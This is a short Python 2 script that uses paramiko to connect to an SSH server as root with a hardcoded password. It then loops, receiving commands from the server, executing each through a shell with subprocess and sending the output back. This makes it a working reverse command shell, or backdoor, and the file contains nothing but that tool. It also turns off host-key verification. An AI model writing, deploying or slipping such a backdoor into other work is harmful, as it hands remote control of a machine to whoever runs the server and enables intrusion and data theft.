#-*-coding:utf-8-*-
import  threading
import  paramiko
import  subprocess

def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/root/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,username=user,password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print  ssh_session.recv(1024)
        while True:
            command=ssh_session.recv(1024) #get the command from the SSH server
            try:
                cmd_output = subprocess.check_output(command,shell=True)
                ssh_session.send(cmd_output)
            except Exception,e:
                ssh_session.send(str(e))
        client.close()
    return
ssh_command('127.0.0.1','root','123456', 'ClientConnected')